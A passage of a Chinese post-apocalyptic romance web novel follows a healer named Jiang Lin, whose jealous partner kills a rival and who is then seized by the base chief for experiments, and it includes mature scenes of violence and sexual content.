他不理解但是配合,结果过程中发现变异蝾螈被分开的四肢因为他的异能逐渐生出完整的身体 江林吓得住了手,回头看向方向阳,满脸震惊之色地看向方向阳,“博士它” 方向阳重新切割了蝾螈的身体,将它一块一块地扔进了蓝色的药水中浸泡着原本蠢蠢欲动的四肢瞬间僵硬平静了。 他手套上还有血,神情冷静,声音冷淡,“蝾螈末世前就是珍贵的实验材料,以惊人的再生能力而闻名。末世之后,它组织重组的能力更强了。细胞内有了一种新的物质,能够催化细胞的分裂,我检测到这个物质在很多异能者的身体里也有,含量越高自愈能力越强,细胞活跃性更高,再生能力更强你的身体里含有大量这种物质,而且你的异能刚刚看见了吧,和蝾螈的适配度很高。” 江林手指微微捏紧,身体肉眼可见的紧绷起来,无声的咽了咽口水,“所以呢” “所以你的异能是加速伤口细胞分裂再生,让伤口快速愈合的,也许我能帮你提升异能。”方向阳语气依旧一尘不变,江林刚刚还以为他要说出什么惊世骇俗的话,都做好了充足的心理准备,可能要成为人体实验品。 “真的吗?”江林双眼迸射出惊喜的眸光,要知道他做梦都想要提升异能,甚至开始考虑自己要不要和方向阳说自己的精神异能,顺便帮他这个异能也提升提升。 “真的,但是我没时间。”方向阳直白地说道,他还有很多实验要做,提升江林异能这件事显然在他看来是一件微不足道的小事。 “那你刚刚为什么给我希望又让希望落空。”江林的笑容凝固在脸上,露出失落的表情。 方向阳拿起自己的生物培养皿放入保温箱处,实事求是地说道:“我只是在分析事实。” 方向阳不是一个故作冷漠的人,他不是话少,只是说话没有任何的起伏给人一种冷漠的错觉。 “那我求求你,有没有可能帮帮我呢?”江林跟在他身后,非常想进步,打着转在他耳边说:“看在我每次都这么配合你的工作的份上呢?” 方向阳没什么表情转身,江林正好撞上来,撞进他怀里,他瞬间伸手攥住方向阳的袖子,眨了眨忽闪忽闪的漂亮蓝眼,圆溜溜的眼睛像是某种猫科动物,白色的头发长长了,在两边扎了几个小辫子。 石欢觉得他的头发太长不方便,特意给他扎的。 “方博士?”江林表情相当的无辜可怜,两个眉头蹙着。 方向阳后退一步,皱了下眉,有些后悔了,不该告诉他这些,嫌弃地看着自己的衣袖。 “我用酒精消毒了,没有病毒。”江林连忙解释,攥着他的衣袖没松开。 方向阳勉强又敷衍地说道:“我有时间再帮你看。” 江林见好就收,松开手,让出道来。 方向阳拿起酒精喷雾又对着自己的衣袖喷了几下。 江林在他身后有些咬牙切齿了,垂下眼睫掩下眸中的情绪,男人的胜负欲就这么被激发出来了 三月转瞬即逝,金溪避难所正式改名为金溪基地,末世的人类似乎暂时适应了这样的生活。 从夏天到冬天,天气更加恶劣,寒冷刺骨的天气,白天就是零下十几度的温度,晚上更加恶劣,零下三十四度。暖气没有普及,地下城居住的人群虽然有基地分发的保暖衣物,依旧很难挨,每天都有人死亡。 江林居住的别墅和实验室都有供暖,每天看见路边抬走的尸体,到底有些于心不忍。 “行了,你又不是基地的领导人,别操那些不该操的心了。”李野行给他塞了一杯热水。 如今李野行队伍也不再是默默无闻的外来人群,彻底在金溪站稳脚跟,成为赫赫有名的一支队伍。 江林喝不下,又把水杯放在桌上,眉头皱得很紧:“但是明明地下城装了中央供暖” 李野行见他把自己倒的水放在桌上,顿时凶了起来:“老子给你两脚信不信?上次你去地下城冻感冒了,脑子还没冻清醒?” “装了供暖系统整个地下城如果提供暖气,你知道要浪费多少资源吗,周扬那个抠鬼能舍得才怪。” 江林看了李野行一眼,雪白的睫毛一垂,表情有些不太高兴,但知道他说的是真的,也知道不久之后李野行就会干掉周扬,成为金溪真正的基地长,而他也没有对那些普通人有任何的怜惜,甚至更加残暴和吝啬。 所以他现在也是想尽量给那些人争取一点生存空间。 “你他妈还给老子摆脸子试试看?”李野行伸手拧住他的脸,抬起他的下巴。 “我没摆。”江林默默反驳,往后面躲了一点。 李野行拽着他的手腕将人揽进怀里,重新把水杯塞进江林手中,还从兜里掏出几颗药来。 三个月的时间,两人关系有了很大的缓和和变化,李野行虽然还是非常霸道,却不会用粗暴的手段强迫他。 江林经常拒绝他的申请贴贴,但十次有一次会给他一点好处。 “我答应你,以后在我力所能及的范围内给他们一点帮助和庇护,明天去捐一点物资给地下基金会行了吧。”李野行抓着他的小辫子揉了揉,低声威胁道:“让我再发现你偷偷去地下城当好人,老子干/死/你。” 江林撩起眼皮看了他一眼,轻轻哦了一声,然后慢吞吞地喝水。 李野行被撩拨得嘴痒心痒的,埋在江林脖子上轻轻咬了一口,那仿佛泛着茉莉香的肌肤,嫩的不行,江林微微仰起脖子,扯住他的头发往外扯,“别咬我,疼” 李野行却故意将人抱得更紧了,视线飘过后院,看见一道影子,舔了舔唇,“我明天又要去出任务,几天回来不了,你还不让我舔舔?” 江林拧了下眉,发现他死死抓着自己的手腕,没有要松的准备,无奈地说道:“那你别咬。” 李野行满口答应,挑着江林的唇吻下去,故意轻轻啧啧有声,携带着一些刺激耳膜的话:“我操,你的舌头怎么可以这么软” “香死了,我真的想干/死/你” “啧”江林有些不耐烦了,推了推他的往自己衣服下伸的手。 李野行这么脑子有病,只有一种情况,就是他吃醋的时候,不出意外的话,门口站着的应该是韩悦。 那个江林从鬼门关救回来的少年,他对江林的喜欢都摆在眼睛里,就算被揍得站不起来了,也会爬回来给江林准备糖果。 很小一颗的水果糖,每天一颗,除非出任务,不然从不间断。 冰天雪地里,韩悦站在门口,没有进去,任由雪落在自己肩膀上,他冻得脸色苍白,嘴唇泛青,却一动不动。 他从未想过能得到江林的回应,只是不小心听到江林和石林说自己小时候很喜欢吃水果糖,便每天给他准备着,只要他能开心一点就好。 没有人能阻止他喜欢江医生,就算李野行也不行。 “行了唔。”江林拒绝的声音响起,但李野行没松开他,将人压在沙发里,勾着他的舌尖吮。 下一瞬,不远处的许时拦都拦不住,就看见韩悦义无反顾地冲了进去,他头疼地喊道:“完蛋,完大蛋了。” 原本别墅的人都在装死,安静如鸡。 韩悦像是没感觉到两人的气氛暧昧火热,吃了熊心豹子胆的冲进来,江林微微睁大双眼,感觉李野行亲得更凶了。 韩悦直接上前拉李野行的手,想将人拽开,反手被李野行拧住手腕。李野行的脸上瞬间阴沉下来,松开江林,拧着他的胳膊将韩悦压在茶几上。 “老子他妈的忍你很久了?!你想干什么?嗯?”李野行一拳狠狠砸在他太阳穴上,颈侧青筋暴起。 他这些天真的受够了那些人的目光。 “他不愿意。”韩悦眼前一花,他是精神系异能者,防御性的异能者,近身搏斗根本不是李野行的对手。 “你说什么?”李野行抓起他的头发,狠狠砸在地上,发出钝响。 韩悦顿时口鼻都淌出鲜血,很轻地说道:“江医生说不愿意了。” “我操你大爷的”李野行真的忍他很久了,任谁喜欢的人被人惦记都受不了,更何况他都已经到他头上拉屎拉尿了。 江林回过神来,连忙拉住李野行的手臂,怒喝道:“李野行,你在发什么疯?!” “你也帮着他?”李野行三个月在江林面前伏小做低,给他当了三个月的孙子,那骨子里的劣性早就按捺不住了。 “是你在发神经!”江林鬓角的发丝都乱了,死死地护着身下的韩悦,眼圈都吓红了,“你要杀了他吗?” “我就是杀了他又怎么样?”李野行掐着他的下巴,目露凶光:“你再敢给他求情,我连你一起杀了。” “江医生,快走开。” 江林感觉自己身体被无形的力量轻轻推开,那股力量包裹着自己,很有安全感。 “他做错了什么?我又做错了什么?”江林抬眼质问道,也在这时,奎克、许时、彭晶几人从外面冲了进来。 奎克绿宝石般的眼睛微微闪烁,视线第一眼落在江林红润的唇上,娇艳欲滴。 许时心中微微叹息,这他爷爷的比琼瑶苦情剧都精彩啊。 “等”没等彭晶的话说完,李野行拽着韩悦进了自己的领域。 江林似乎瞬间有些崩溃了,还是低估了李野行的凶狠和毒辣,身体微微晃荡了一瞬,下一秒跌倒在沙发上。 “他想干什么?”江林无助地看着彭晶,轻声问他,想要得到一个结果。 但是众人都沉默了下来,彭晶和许时的脸色也不好看,心中非常不好的预感成真了,前些日子韩悦的行为就已经触怒了李野行,出任务多次都将人派往了更加危险的地方。 他们知道这件事怪不了江林,江林如果平时不对李野行表现出一些妥协,他绝对不可能像现在这样安然无事。 李野行“乖”了三个月,都快让人忘记了他的真实性子,他的手段让见惯了生死的人都胆颤的。 最后不出所料。 韩悦死了。 他浑身是血地被像垃圾一样扔在地上,江林眼泪瞬间夺眶而出,从少年身上滚落了几颗晶莹漂亮的糖果,却染上了鲜血,韩悦的脸上全是血,早就看不清原本清俊的模样。 江林跪在地上抱着韩悦的温热的尸体,他亲手救回来的人就这么死了,他哭得几乎要喘不过气来,手心的糖果硌入肉里。 没想到韩悦居然是这么死的 江林重新认识了李野行,他说的话从来不是开玩笑的,他是真的会杀人。 江林他紧紧抱着韩悦的身体。 李野行满身煞气,视线一一掠过彭晶、许时、奎克等人的身上,最后连旁边住的老九都过来了。 李野行的眼神最后落在奎克的身上,弯了弯唇,露出白森森的牙齿,表情阴狠冷冽,他是从尸山血海中爬出来的人,“江林我的人,大家应该都知道吧。我不管是谁,不想死的话,别他妈再往他跟前凑了。” 他说完,拽起江林的手,将他和韩悦分开,甚至还狠狠踹了一脚韩悦的尸体,直接把人踹进了雪地里。 两颗带血漂亮的水果糖落在地上,江林呆呆愣愣的,任由李野行把自己拉走,脸上全是泪痕,这次没人敢拦着李野行,显然刚刚的威慑足够强。 他们跟了李野行这么久,天真地以为是有些感情的,结果还是他们天真了。 彭晶默默把韩悦的尸体抱起来,不让他暴露在雪地上,他声音有些轻:“为什么要那么倔呢,他就是个疯子。” 江林被扔在床上,李野行俯身而下压在他身上,不由分说撬开他的嘴唇,咬着他的唇。 一声枪响,猝不及防。 原本是瞄准的李野行的心脏,被他躲开,只是击中了肩膀,江林表情有些冷,之前隗绍“死”的时候,说实话他内心没有多少波澜,毕竟知道他是那个傻逼主神的切片之一。 现在他眼底真实的出现一点冷意。 李野行拽住江林的手,微微一拧,将他的枪踹到了地上,肩膀传来的剧痛,让他脑子清醒:“你男朋友死的时候都没这么大的反应,怎么?你真的喜欢上那个毛都没长齐的小子了?” “你这个变态,你怎么不去死啊?”江林第一次露出这种凶狠的模样,看得李野行一愣,好似要和他同归于尽了。 他愣神的阶段,江林用精神力控制着他,匕首没有丝毫犹豫狠狠镶嵌入李野行的腹部,下一秒,他的左手也被抓住了,扣在头顶。 李野行掐着他的脖子,眼神变得极为凶狠:“你老子现在让你去陪他。” “好。”江林闭上眼睛,一口应下。 李野行盯着他雪白的脸看,手却舍不得用力,腹部的伤口在淌血,滴落在江林衣服上,浑身开始泛着冷意,仿佛置身于冰雪之中,那一只黑色的义眼,都像是流露出悲伤。 李野行甚至能为了江林杀死韩悦,可想而知不可能不喜欢他。 他发现江林的不对劲,连忙伸手捏开他的嘴,手指伸入他口中,却发现他舌尖一圈牙印,顿时只觉得有什么地方在轻轻地刺痛。 “你居然要自杀?”李野行太阳穴都在痛了。 江林睁开那双漂亮的蓝眼,露出极为冷漠的神情,原来蓝色也能这么冷,“不然呢?落在你手上,我还不如死了。” “你对谁都心软,为什么不能对我多些温柔?”李野行狠狠瞪着他,最后失去了所有的力气,表情瞬间挫败下来,哑着声音开口。 “李野行你就是教不乖的恶犬,你死了才不会有更多无辜的人受伤害。”江林的眼底失望透顶,语气很冷淡,眼圈虽然红,眼神如尖刀:“给你再多些温柔,就是对其他人的残忍。” “今天要么杀了我,你奸/尸,要么以后再别让我看见你。” 李野行抓紧他的手腕,摇了摇头,“你知道的,我根本做不到。” “我错了……每个人都应该有一次改过自新的机会不是吗?”李野行表情很后悔般,可是再来一次,还是会杀死那个狗崽子,现在只是在江林面前假装认错而已。 期盼着心软的江林能给他一点怜爱。 “人有,但是你没有。”江林似乎看透了他的伪装,而且说到做到,抬脚就顶向李野行的腹部,匕首入得更深了。 李野行吃痛的松开他,江林立刻爬起来去捡枪,但是李野行动作比他更快,踢走枪,强忍疼痛抓住他的手腕。 这次江林却没有任何的心软,伸手掐住他的脖子,似乎要将他掐死。 李野行力气比江林大多了,一只手就能抓住他的两只手腕,疼得浑身发抖,却还要用另外一只手按住江林的后脑勺,去吻他的唇。 江林抬脚要踹,但脚被夹住,整个人牢牢被锁在怀里。 江林狠狠咬他的舌头,李野行根本没躲,血腥味在两人嘴中蔓延,李野行的舌头轻轻扫过江林受伤的舌尖,轻轻吮了一口,尝到他口中的甜味,全身又疼又爽。 带着一股就算被杀死也要低头亲吻他的疯劲儿。 “江林。”李野行松开他,血迹打湿了他大片的衣服,肩膀和腹腔都鲜血不止,但他面色平静:“我舍不得杀你。” “你也不准伤害自己,如果让我知道你还有刚刚的行为,我会杀了石欢那两个小白眼狼给你陪葬。” 江林咬着牙瞪着他,双眼绯红,李野行知道他最不喜欢牵连他人。 “不够的话还可以再多一点人,许时?彭晶?所有你帮助过的人。”李野行就是个疯子。 “你给的所有帮助都会成为他们的催命符,你知道我做得出来的。” 李野行按住他的头,在他眉心亲了一下:“少一根头发都不行。” 江林手被松开,用力扇了他一巴掌,狠狠咬了一口他的脖子,恨不得把人咬死,说出了对于他来说最狠毒的语言:“真希望你早点去死。” 李野行咬了咬被咬破的舌,看着转身离开的江林,自嘲地笑了笑,逼得江林这样善良、恨不得拯救全世界的人说出这样凶的话。 可见是真的逼得太狠了。 他坐在地上,拔出腹部的匕首,手捂住自己涌血的伤口,现在没有人会再给他治伤了。 但是他也不后悔,所有觊觎江林的人都该死。 第53章 雪在淅淅沥沥地下着, 地上铺了厚厚一层,江林还没走出街道,在街口看见了不知道等候了多久的彭晶, 他正在默默抽烟,见他出来, 走上前来。 “韩悦让小寻埋在一个地方,你要去看看吗?”彭晶脸色不太好,声音沙哑。 小寻是队伍里的土系异能者, 大概也没有想到有一天自己的异能是用来给队友挖坟。 “走吧。”江林表情很淡,并没有外露太多悲伤的情绪。 彭晶驾车带着他过去, 但并没有出基地,而是在一个看起来像是郊外的地方,旁边是杂草丛生的荒芜。这里面是末世前的一个坟地,末世后很少有人会特意将人安葬在这里,一般往街上一扔,第二天就有清洁的员工来进行清理。 黄土新坟, 没有墓碑, 旁边站着五六个人, 全部戴着面罩和战斗服,分不清谁是谁。 江林蹲下身, 轻轻掬起一抔黄土洒在上面, 垂着眼,见惯了小世界人的死亡,说他有多伤心那是假的, 最多是有些遗憾。 韩悦是个执拗的人,江林明里暗里拒绝了很多次,他从来不理会, 现在搭上了自己的性命。 只希望他若是有机会轮回,不要再碰到自己,能遇见真正真诚的人。 人陆陆续续的离开,江林和彭晶最慢离开。 “我离开后,麻烦你帮忙照看一下两个小朋友。”江林转头看着旁边繁华的地上城,灯火通明,人流不息。 地下城则是萧条凄凉、勉强栖息。 彭晶嘴里叼着烟,目光从江林身上滑过,总觉得他有些改变,具体又说不上来:“我会搬过去住,你放心。” “只怕你躲不过李野行的。” “不对,更准确点来说,是他不会放过你。” 江林没说话,早就有这个认知。 彭晶送江林到实验室才离开,方向阳之前便一直住在实验室的休息区,江林这次也准备搬过去。 江林先去旁边商店买了一些酒和吃食,才回到实验室,冷冷清清的实验室,只有方向阳的独立实验室还亮着灯。 方博士两眼一睁就是研究实验,两眼一闭就是睡觉,像个全天连轴转的机器人,没有一点私人的休息时间。 江林没有打扰他,往里面的休息室走去,方向阳的实验室有三间独立的休息室,还有一个小客厅,桌上散落着一些研究报告。 他先整理了一下桌上的材料,才开始今天的晚餐,味道挺难吃的,还是冷的。他机械地嚼着,将脑海中负面的情绪赶走,平复自己的心情,他经历过很多世界,如果所有的情绪都积压在心里,他早就崩溃了。 方向阳知道有人来了,却没想管,今天又收录了很多的陌生变异种,他正在观察变异种之间的相似性和差异性。 他发现很多异能者的异能增长剂,需要相应的变异种提取物当作补充剂,所以现在能抓住活的变异种,基地给予的佣金翻倍,越是稀有变异种,价钱越高。 后半夜,方向阳揉了揉酸胀的眼睛,确定目前身体无法保持最佳的工作状态后,决定睡觉休息。 刚刚踏入休息室,就看见趴在桌上满身酒气的江林。 桌上也一片狼藉,全是残羹剩饭,酒气熏天,看得方向阳直皱眉,他站定在江林面前,双臂叉在一起,低声道:“江林?” 江林脸沁着红,双眼也是红的,眼底还有泪,头发乱糟糟的,非常颓废,听见自己的名字,仰着头看着他:“方博士哦?” “是你啊?” “你要不要吃东西?喝酒要不要呢?” 方向阳眼底飞快闪过一丝不耐,“给你五分钟,将这里打扫干净。” 江林点了点头,乖乖应好:“我会打扫干净的。” 他嘴上虽然这么应着,但身体颤颤巍巍地站了起来,朝着方向阳走去,眼尾湿润殷红,没等方向阳逃开,江林已经眼疾手快地抓住他的衣摆。 0帧起手,张嘴就是哇呜。 “博士,我呜呜呜呜”江林抓着他的衣袖,泣不成声,说什么都听不清楚。方向阳甩也甩不开,躲也躲不掉,头大如牛。 江林拿着他的衣服擦眼泪,擦鼻涕,蹲在地上抱着他的腿,方向阳看着衣服上洇湿的痕迹,看得头皮发麻,精神都紧绷起来。 方向阳一低头,便看见江林虽然哭得乱七八糟,却依旧好看的脸,粉色的鼻尖,湿漉漉的眼眶,委屈巴巴像是被人抛弃的小猫。 两人对视一眼,江林哽咽得更加厉害了,颗颗分明的眼泪仿佛透明的水晶,折射着头顶的灯光。 方向阳:“” 他伸手拽起江林的手,将人拖进了洗手池前,拎着他的后领让他站稳,拿起旁边的一次性毛巾,打湿了扔在他脸上。 “别哭了,先把脸洗干净。”方向阳被吵得脑仁都疼了,如果江林不是他的重点研究对象,他真的会毫不犹豫地把人扔出去。 江林打了个哭嗝,像是勉强止住哭腔,乖顺地擦脸,结果发现越擦越红,脖子、手臂、脸都痒了起来。 “博士,我不舒服。”江林脖子上出现红斑。 方向阳凑上前看了一眼,将人又拎远了一些:“你酒精过敏自己不知道?” “啊?”江林迟钝地反应着,说话有些大舌头:“可是我平时喷酒精消毒的时候都不过敏的” “可能你是特例。”方向阳想松开拎着他后衣领的手,结果江林就像是腿软往下滑去,他只能又抓回来。 “那我会不会死啊,博士,我还不想死啊,我还想救地下城的那些人呢而且死了就没人能打死李野行那个祸害了我怎么能就这么死了呢。” 他絮絮叨叨,吵死人了。 “不会死。”方向阳将人抓回他自己睡的房间,江林抓着他的衣服不松手:“但是我很痒” “等着,我去给你拿药水过来。”方向阳起身走到自己的房间,用自己的指纹解开药箱,里面有治疗酒精过敏的特效药。 因为方向阳从小就酒精过敏,但是他又有洁癖,所以很小的时候就研制了这种涂在肌肤上药到病除的药剂。 江林在床上打滚,抱在被子扭来扭曲,齐肩的头发都乱了,浑身都像是有蚂蚁爬过,江林从前真的没有过一次酒精过敏,这个身体真的奇了怪了。 方向阳拽着他的手腕将人从床上拖起来,脸上没什么表情,只想快点将这个麻烦解决了,“脸抬起来。” 江林眨了眨眼,睫毛还是湿湿的,粘在一起,软乎乎的,他抱着枕头,仰起自己的脸,哭丧着脸说:“真的很难受的,博士。” “我知道了。”方向阳拿出棉擦,沾着药水在他脸上泛红的地方擦了擦。 清清凉凉的感觉,脸上的瘙痒炙热顿时消散了不少,简直是药到病除。 “身上自己擦。”方向阳给他示范了之后,就不准备继续了。 “我没力气,脑袋也晕晕的,我擦不好。”江林敲了敲自己的脑袋表示真的很晕。 方向阳表情有一瞬地崩裂,便听见江林喝多之后独有的黏糊的语调说着:“我以后会当你乖乖的实验体,我很乖的。” “只要不解剖我,我都配合” 方向阳疯狂心动,半点不犹豫了,被这句话拿捏得死死的:“那把衣服脱了。” 江林磨磨蹭蹭、晃晃悠悠地把衣服全部脱掉,然后乖乖躺在床上,胸口上的红斑最多,腰上也不少,双腿上倒是没那么多 休息室内的灯光也像是实验室里的一般,如同白昼般明亮,能瞧见身体的每一寸纹路和肌理。 他第二次在方向阳面前袒露身体,驾轻就熟,没了第一次的羞涩,他静静地看着冷静的方向阳,声音幽幽地问道:“博士你杀过人吗?” “杀过。”方向阳回答,清凉的湿球在他锁骨上滑过,留下淡淡的湿痕。 “哦。”江林又问:“你杀过好人吗?” “杀人还分好坏?”方向阳也是秩序混乱的环境下长大的。 “难怪你能和李野行混在一起。”江林喃喃自语般说道。 方向阳没有解释什么,他没有对人类产生过特殊的感情,亲情、爱情、友情都没有,他不讨厌也不喜欢李野行,只是互利互惠而已。 “方博士你有过性/生活吗?”江林眼眸干净,不带一丝杂质,像是只是在关心他的日常生活和身体健康。 方向阳也没有让他失望,没有任何波动和起伏回答:“没有。” 此刻方向阳的药剂擦到江林的胸口,丝丝凉意沁人,少年微微眯起眼,轻轻抓了一下方向阳的手腕。 方向阳抬眼看着,极致的冷静,“怎么了?” 冰激凌雪糕上的红豆,浇上水之后,变得摇摇欲坠,战战栗栗起来。 “说实话,有点不太舒服。”江林松开手,乖巧躺回去了。 “没事,继续吧。” “你看起来就像是不会有欲望的人。” 方向阳给出了否定的答案:“我是个正常的男人,也会有正常的生理需求背过身去。” 江林趴在床上,背上斑驳的红斑,连带着还有些他抓出来的抓痕,他的精神逐渐疲惫,懒懒散散地眯着眼。 “难怪博士手法那么好。” 这一趟聊天,但凡一个正常男人都会有些触动,偏生方向阳以为他真的在和他认真讨论这些话题。 “这些并不需要练习,书中有教。” 江林有些原形毕露的懒散,趁着自己醉态,露出一点恶劣的个性,轻飘飘说道:“我书中没教过,博士教教我?” 方向阳想要拒绝,江林便道:“可能我会一晚上都睡不好,也不知道这边房间效果隔音效果好不好吵到人就不好了。” 方向阳拧了下眉,平心而论隔音效果不好也不差,弄出大动静还是听得见的。 江林见他没有拒绝出声,眯着眼笑了下,转身重新握了握方向阳的手,上次戴着橡胶手套到底有些不太爽。 方向阳却有些嫌弃,拿出酒精似乎想要做什么,江林连忙拉住他的手,语速都快了些:“我酒精过敏,您不会想让我死吧?” 方向阳克制的握了握拳,没再动他的死人酒精。 真的是一场酣畅淋漓的教学,江林呼吸有些急,勾着他的脖子,将人勾弯了腰,脸凑到男人面前,凑得有些近,呼吸撒在眼镜上起了白雾,他低声道:“博士,你看着我。” 方向阳拧着眉看向他,灰色的眼瞳倒映着他的脸,一个冷淡如冰、目不斜视,一个唇红齿白、眼波含水。 江林也没上前主动亲他,只是若有若无的呼吸洒在他唇上,哼唧的声音软软哑哑的,红唇微张,露出一点贝齿,一股淡淡的茉莉味和药香混合在一起,往方向阳鼻尖钻。 “博士,你是不是阳/痿啊?”江林额前冒出丝丝细汗,衬得脸上的肌肤越发莹白红润,手勾着他的衣领揪了揪。 “不是。”方向阳认真回答,接着道:“但是我不喜欢男人。” 他从小学习的固有生物知识不是用在同性别人的身上的。 “哦,直男啊。”江林不知道想到什么,忍不住轻笑一声,上一个说自己是直男的是李炎诞。 方向阳不再说话,虽然面上毫无波澜,心中却有些纳闷了,江林的哼声别太娇了,拿腔拿调的,就算他再迟钝也察觉出一丝不对劲来。 “你自己来。”他说。 江林便伸出一只手和他的手叠在一起,两只手轻轻握在了一起,细腻的手指攥紧他的,“帮我一起?” 江林的眼又红了一圈,他一直直勾勾盯着他的眼睛,目不转睛,眼尾越来越湿,直到方向阳的视线避开,江林才缓缓勾起唇角。 他松开勾着方向阳脖颈的手,躺回床上,肌肤仿佛剥开的荔枝肉,水嫩嫩的,他咬住指尖一点湿濡,眯着眼笑了笑:“博士,明天见。” 方向阳一边擦手一边站起来,转身离开他的休息间,顺便关上了门。 江林趴在床上,感受着热乎乎的气息,看着地上的酒精和浅绿色的药剂以及散落的棉球,脸上爬上了更深的笑意。 方向阳先回房间洗了澡,又回到客厅绷着脸收拾桌上的残局。他不能接受自己经常生活的区域这么乱,洁癖加强迫症。 他收拾好客厅之后,站在江林门前犹豫了三秒钟,原本想直接进去,思虑了一瞬,敲了敲门。 里面毫无动静,方向阳没有再犹豫推门而入,少年安静地躺在被窝里,半张脸都藏在里面,换上了实验室准备的浴袍,发尾还是湿的,但已经扛不住睡意,睡着了。 他弯腰拿起地上遗漏的东西,顺便将桌上的纸巾和垃圾桶里的垃圾一起拿走了。 等方向阳忙完,躺在床上睡觉的时候,比他平时的作息晚了两个点 清晨天还未大亮,李野行便和队伍集结在基地门口等着出门执行任务,这次气氛比平时都要冷漠窒息。 彭晶知道李野行伤势未愈,也没有心情关心他伤得怎么样,车辆极速行驶。李野行脸色苍白,这次任务是周扬故意派给他们的,意图很明显就是在为难他们。 李野行的磅礴野心没有任何遮掩,虽然周扬不算顶尖聪明人,但混了这么多年官场还是非常警觉的。 所以给李野行委派了这个任务,隔壁基地被丧尸围剿,危在旦夕,李野行队伍就是金溪基地的增援人员。 李野行得到的消息是里面丧尸首领是一只精神系的高阶丧尸。 精神系 李野行带着一身伤过去,差点没死在那场战争中。 等回来已经是大半月之后的事情了。 江林倒是在实验室生存得很好,白天去地上医院救人,晚上跟着方向阳记录数据,整理材料。 那夜之后两人关系没有任何的变化。 “这是什么东西?”江林听到方向阳的机会,出于本能地往后退了一步。 “芯片。”方向阳拿出指甲盖大的芯片。 “我知道这是芯片,你刚刚说要植入我的身体里?”江林舔了舔唇,“不会是什么定位芯片吧。” 他下意识就想到了这个。 方向阳像是看白痴似的看了他一眼,“当然不是。” “特制的芯片实时监测你身体的情况,小到细胞分泌物,大到身体各种组织液和分泌物上次答应你遮掩吸引变异种的东西,有了一点进展。但是需要用到更详细的数据,我这边可以实时监测到你的数据。” 方向阳指了指自己手腕上戴上的检测仪,江林有任何较大的波动,都会让他的表状仪器发出震动或者提醒。 “”江林总觉得有一种会丧失身体管理权的感觉,但又实在拒绝不了这个诱惑:“要植入到哪里?” “手臂就可以。”方向阳说。 “那来吧,谁让我答应过要成为博士的完美实验体呢。”江林温和一笑,显得很温顺。 方向阳抬眼看他一眼,觉得他温顺的皮囊有些奇怪,但听见实验体这三个字,无法抑制地心动。 其实这个芯片并不是全为了帮助江林,而是他也很想要江林更加详细的数据,江林还有很多需要他发掘的秘密。 刀尖划破了江林的手臂肌肤,他的治愈能力能够靠着意念控制,倒也不会存在刚刚划破肌肤就自愈的情况。 不算很疼,但也不好受,江林让系统屏蔽了他的痛感,看着指甲盖大小的芯片放入他的身体,有一种异物感,但是缝合后,便没什么感觉了。 江林突然听见方向阳的手腕震动了一声。 “你很紧张。”方向阳按了一下,隔着镜片冷淡地看着他。 “有一点。”江林诚实地回答。 “没事,它不会影响你任何的生活。”方向阳看着自己的手腕,像是盯着什么新的有趣玩意。 他去食堂吃饭了,江林先去休息间拿出自己打印的报告,放在他桌子上。 他前脚离开,后脚那份报告就被人拿走了。 紧接着晚上江林就单独见到了金溪基地的最高领导人。 那份报告是方向阳已经销毁的,关于江林身体能够净化变异a种病毒的可能性。 只是一个粗略的可能性报告,就让人疯狂了。 “久闻江医生的大名了,一直没有机会好好招待。”周扬盛情款待,中年人的和蔼可亲,好似毫无攻击性。 “您好。”江林客气地说道,在他的座位上放着那份报告,他的脸色瞬间大变。 “江医生和李队长是什么关系呢?”周扬语气很轻,像是长辈和小辈的谈话。 但江林脸色已经煞白,似乎被吓到了。 第54章 末世突如其来, 其中多种病毒侵袭全球,而变异A类病毒,算是最普遍的一种病毒, 导致普通人病变的原因之一。 周扬专属的会客厅,四周站立着他的异能者保镖们, 虎视眈眈地看着他,无形的压力落在江林肩膀上。 “我和他没什么关系。”江林脸色依旧难看,似乎已经能够预料到自己的下场。 而就算他承认和李野行关系匪浅也根本不可能动摇周扬的想法。 毕竟江林身上能够得到的利益太大了, 如果真的能解决A种病毒,他都能想象自己即将获得多大的荣耀, 那是全人类的救世主啊。 “是吗?李野行队长可是我最信任的人之一呢,不过好像现在不在基地?”周扬手指微动,旁边漂亮的姑娘弯腰给他倒了一杯饮料,他手撑着下巴,笑着说道:“方博士也瞒得太紧了。” 瞒得紧什么,却没有继续说了。 江林抿了抿唇, 低着头视线落在水杯上, 整个人呈现紧绷警惕的模样。 “倒也不用这么害怕, 我不会伤害你的。”周扬语气温和,“桌上的菜都是让专人准备的, 你可以试试合不合胃口。” 江林拿起筷子, 慢吞吞吃起来,他一向不舍得浪费粮食 等方向阳得到江林被周扬抓走的消息,是在第二天, 质问助理,助理露馅了,而之前派来的三个助理, 辞职了两个,说是要去研究更重要的东西。 他的检测仪也从昨晚开始呈现数据异常的情况,各种激素都呈现极低的波动,其中凌晨的时候有一个高峰,之后一直持续走低。 方向阳发现自己的实验体被抓走,表情越发冷漠,用自己的通行卡没办法进入最严密的地层实验厅,但是他抓到了自己之前的“助理”。 一个鬓角发白的中年人。 “带我去见江林。”方向阳抓着他的衣领,无机质的灰色仿佛沁出骇人的冷漠。 “这个现在江林已经不归你管了。”助理拧着眉,要掀开他的手,却发现他的力气根本动摇不了方向阳。 “那是我的实验体。”方向阳重复道,心中涌起一股戾气,他最讨厌别人抢走他感兴趣的东西了。 “他现在是基地的公共财产”老助理表情有些傲气,伸手拍打方向阳的手背,想要挣脱。 方向阳手在他鼻尖一挥,刚刚还在叫嚣的人瞬间倒在地上,鼻腔眼睛耳朵都涌出鲜血,身体在地上不断抽搐着。 方向阳如果想他能让整个研究所的人都中毒,只需要在通风口洒下一点毒粉就可以了,事情闹大,方向阳被人带着进入了底层。 底层的实验厅更加森严冷肃,各种蓝底绿底的药水,四周都是透明的圆柱,里面浸泡着昏迷或者死亡的变异种的身体,越往里面走,声音议论声越大。 周扬被簇拥在最前面,而在这些人面前巨大的玻璃水圆罐中浸泡着一具漂亮的人体,没有任何的异化部位。 少年浑身赤/裸,四肢轻轻漂浮在水中,白皙的肌肤毫无杂质,仿佛峰顶的皑皑白雪。 他闭着双眼,安静祥和的模样仿佛睡着了,雪色的睫毛垂着,白发轻轻浮动在水中,五官精致得不似真人,犹如雪山精灵。 此刻却被囚于人类实验室。 看见这一幕,方向阳眉头狠狠一拧,气势凌冽,围着的研究员也是听说了上面发生的事情,不敢触霉头,自动让开一道,让他有机会和周扬面对面对峙。 “谁让你们把他放入可呼吸水中的?”方向阳直奔主题,没有多余客套的话,声音冷淡:“这是在研究什么?提取什么数据?” 